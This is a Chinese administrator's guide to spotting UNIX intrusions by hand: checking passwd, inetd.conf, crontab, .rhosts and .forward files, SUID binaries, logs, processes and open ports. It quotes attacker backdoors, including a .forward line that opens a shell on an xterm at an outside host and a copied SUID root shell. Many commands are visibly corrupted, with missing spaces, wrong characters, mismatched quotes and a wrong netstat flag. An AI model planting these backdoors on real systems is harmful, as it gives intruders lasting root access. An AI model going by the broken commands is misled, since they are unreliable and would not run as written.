一個好的網(wǎng)管員不但要管理好網(wǎng)絡(luò),能及時排除各種故障,還要注意網(wǎng)絡(luò)安全,提防黑客入侵。所以熟悉常用手工入侵檢測的方法和命令也應(yīng)該是網(wǎng)管員們的基本技能之一。本文介紹的是一些UNIX下常用手工入侵檢測方法與命令,網(wǎng)管員們掌握了它們不但可以迅速判斷出一些簡單的黑客入侵,還可以加深對入侵檢測的了解,從而能更好地使用一些入侵檢測和審計工具。
1.檢查/etc/passwd文件中是否有可疑用戶
UNIX中/etc/passwd文件是存儲系統(tǒng)用戶口令等重要信息的文件,黑客入侵系統(tǒng)后往往會使用在passwd文件中增加特權(quán)用戶的方法為自己留個后門。所以我們要經(jīng)常查看,如果系統(tǒng)中用戶較少,可以采用直接查看passwd文件的方法,命令如下:
$cat/etc/passwd
如果系統(tǒng)中有成百上千個用戶,那直接查看就不行了,不過我們只要檢測其中是否有UID為O的特權(quán)用戶就行了,這時可以使用以下命令來實現(xiàn):
$awk-F:‘$3==0{print$1}’/etc/passwd
如果還想看看是否有空口令用戶,那可以用如下命令:
$awk-F:‘length(S2)==0{print$1}’/etc/shadow
當(dāng)然網(wǎng)管員不可能每天都去查看passwd文件,我們可以編寫一個如下的腳本程序,并將其放)入/etc/cron.daily文件中,讓它每天檢測passwd文件中的所有UID和GID為O的用戶,然后把清單寄給root,這樣網(wǎng)管員只要每天收看一下信件就行了。具體腳本如下:
$grep‘0:0’/etc/passwd|awk‘BEGIN{FS=“:”)\{print$1)’|mail-s“‘date+”%d%f“‘”root
2.檢查,etc/inet.conf和crontab文件是否被修改
Inet.conf是系統(tǒng)守護(hù)進(jìn)程的配置文件,里面的服務(wù)會隨系統(tǒng)的啟動而啟動,如系統(tǒng)開放了Telent服務(wù),inet.conf文件中就會有這樣一個語句:
telnet stream tcp nowmt root/usr/sbin/in.telnetd in.telnetd
從左到右依次表示的是:服務(wù)名稱、套接口類型、協(xié)議類型、運行動作、進(jìn)程所屬用戶、守護(hù)進(jìn)程路徑名、守護(hù)進(jìn)程名字及參數(shù)。黑客會通過替換或增加其中的服務(wù)來運行他的后門,網(wǎng)管員應(yīng)該對/etc/inetd.conf中的內(nèi)容比較熟悉,然后用如下命令列出其中的所有服務(wù):
$ls-1/etc/inetd.conf
再一一查看是否有可疑服務(wù)、服務(wù)名與其對應(yīng)的程序是否一致。
同樣/etc/crontab文件是Cron服務(wù)的配置文件,Cron用于計劃程序在特定時間運行的服務(wù),系統(tǒng)的crontab文件在/etc/中,root用戶的crontab文件在/var/spool/crontab/root中,其具體格式如下:
00** 3/usr/bin/backdoor
從左到右依次表示的是:分鐘、小時、日、月、星期、所要運行的程序。像上面這個例子就是用戶在每天的午夜零點運行backdoor程序,而這個backdoor程序如果是黑客程序會怎樣呢?所以網(wǎng)管員也要經(jīng)常用cat命令查看其crontab文件,看是否有黑客混入。
3.檢查.rhosts、/etc/hosts.equiv、forward文件是否被修改
這幾個文件是常被黑客利用來安裝后門的文件。如果系統(tǒng)開了像Rlogin,Rsh或Rexec等R類服務(wù),那么就必須檢查.rhosts,/etc/hosts.equiv這兩個文件了,因為像Rsh和Rlogin這樣的服務(wù)是基于rhosts文件里的主機名使用簡單的認(rèn)證方法,黑客只要向可以訪問的某用戶的rhosts文件中輸入“++”,那就允許任何人從任何地方無需口令使用這個賬號從513端口的Rlogin服務(wù)登錄您的機子。而且,像Rsh服務(wù)缺少日志能力,更加不容易被發(fā)現(xiàn),.hosts.equiv文件也類似。管理員們可以用如下命令檢查這兩個文件:
$find/-name“rhosts”-print|grep‘++’
cat/etc/hosts.equiv
不過實際上黑客只要將.rhosts文件設(shè)置成允許來自網(wǎng)上的某一個賬號的主機名和用戶名登錄就行,所以管理員們最好能借助審計工具更仔細(xì)檢查這些文件。
還有一個.forward文件。在.forward文件里放入命令是UNIX中黑客重新獲得訪問的常用方法。像用戶usemame的.forward文件的home文件夾中,黑客會把.forward設(shè)置如下:
\username|“/usr/local/X11/bin/xterm-disp hacksys.other.dom:0.0-e/bin/sh”
這種方法的變形包括改變系統(tǒng)的mail的別名文件、從.forward中運行簡單腳本實現(xiàn)在標(biāo)準(zhǔn)輸入執(zhí)行等。所以網(wǎng)管員們也要經(jīng)常檢查.forward文件
4.檢查是否有危險的Root Suid程序
Root Suid程序更是黑客在UNIX系統(tǒng)留后門的一種常見方法,黑客通過種種方法取得了root權(quán)限后,他便會復(fù)制一份root shell,并將它設(shè)置Suid(set uid)位,然后保存在隱蔽的文件夾中:
#cp/bin/sh/tmp/.backdoor
#chmodU+S/tmp/.backdoor
下次黑客以一般用戶登錄后,只要運行這個.backdoor就又能獲得root權(quán)限了。要發(fā)現(xiàn)它比較簡單,網(wǎng)管員們可以用以下命令:
#find/-typef(-perm-4000-o-perm-2000)-print
5.檢查系統(tǒng)日志
UNIX的日志可以說是比較健全的,它記錄了用戶登錄、操作及系統(tǒng)事件等等許多東西。 UNIX系統(tǒng)日志文件通常是存放在/var/log和/var/adm目錄下,但每個UNIX版本不同存放日志的具體地方可能不同,大家可以通過查看/etc/syslog.conf知道日志配置的具體情況。具體的日志文件有l(wèi)astlog、utmp、wtmp、syslog、sulog等,它們記錄的分別是不同的事件,通過查看這些日志可以獲得一些黑客入侵的“蛛絲馬跡”,當(dāng)然前提是日志沒有被黑客動過手腳。
如像lastlog記錄的是所有用戶的最近登錄時間和訪問時的網(wǎng)絡(luò)地址,我們想查看最近30次登錄的用戶和他們的地址,可以用如下命令:
last-30
utmp則記錄的是當(dāng)前登錄到系統(tǒng)的用戶信息,我們可以用who命令來查看。wtmp記錄的是記錄歷史的login和logout信息,可以用last命令訪問。而syslog記錄的是各種程序產(chǎn)生的日志,sulog記錄的是用戶用su命令轉(zhuǎn)變?yōu)榱硪挥脩舻男畔ⅰ?BR>
6.檢查是否有可疑進(jìn)程
百分之九十的后門和木馬都是以進(jìn)程形式存在的,所以查看是否有可疑進(jìn)程很重要,這就要求網(wǎng)管員對各個進(jìn)程非常熟悉才行。當(dāng)然重點是查看Unix系統(tǒng)的inetd守護(hù)進(jìn)程,原因我們前面說了因為inetd守護(hù)進(jìn)程的程序隨系統(tǒng)啟動而啟動,所以黑客后門程序通常加在inet.conf中。可以用以下命令查看其進(jìn)程:
#ps-aef|grep inetd
當(dāng)然inetd很多,如何能看出可疑進(jìn)程呢?首先正常的inetd的pid比較靠前,其次Unix系統(tǒng)中沒有用inetd去啟動某個文件的情況,如果用ps命令看到了類似于inetd -s/tmp/.backdoor的啟動進(jìn)程時就要注意了!如果不是網(wǎng)管員自己加的,那就說明有人已經(jīng)侵入系統(tǒng)了。
7.檢查網(wǎng)絡(luò)連接和開放端口
黑客所留的后門中有一些會開啟系統(tǒng)新的端口進(jìn)行監(jiān)聽,等待黑客連接。最簡單常見的就是將一個加密root shell綁定在高位端口上。所以網(wǎng)管員們應(yīng)該經(jīng)常查看網(wǎng)絡(luò)連接狀態(tài),看看是否有可疑連接和可疑端口,此類常用命令如下。
(1)查看網(wǎng)卡設(shè)置:#ifconfig-a:
(2)查看本機的路由、網(wǎng)關(guān)設(shè)置情況:#netstat-m;
(3)查看本機所有的網(wǎng)絡(luò)連接:#netstat-an:
(4)查看本機所有開放的端口:%netstat-an|grep listen。
以上介紹的是一些簡單的入侵檢測原理和方法。正如我們看到的,手工入侵檢測相當(dāng)繁瑣,很難進(jìn)行深層次的檢測,而且這些檢測大多基于系統(tǒng)命令,如果系統(tǒng)文件已經(jīng)被黑客替換的話,就不可能進(jìn)行準(zhǔn)確的檢測。要正確有效地進(jìn)行入侵檢測和審計需要借助于一些入侵分析工具。本文介紹這些方法的目的也不是為了提倡大家手工檢測入侵、排斥入侵審計工具,而是讓大家對入侵檢測原理有個最基本的了解,使網(wǎng)管員們能更正確有效地使用入侵分析工具。


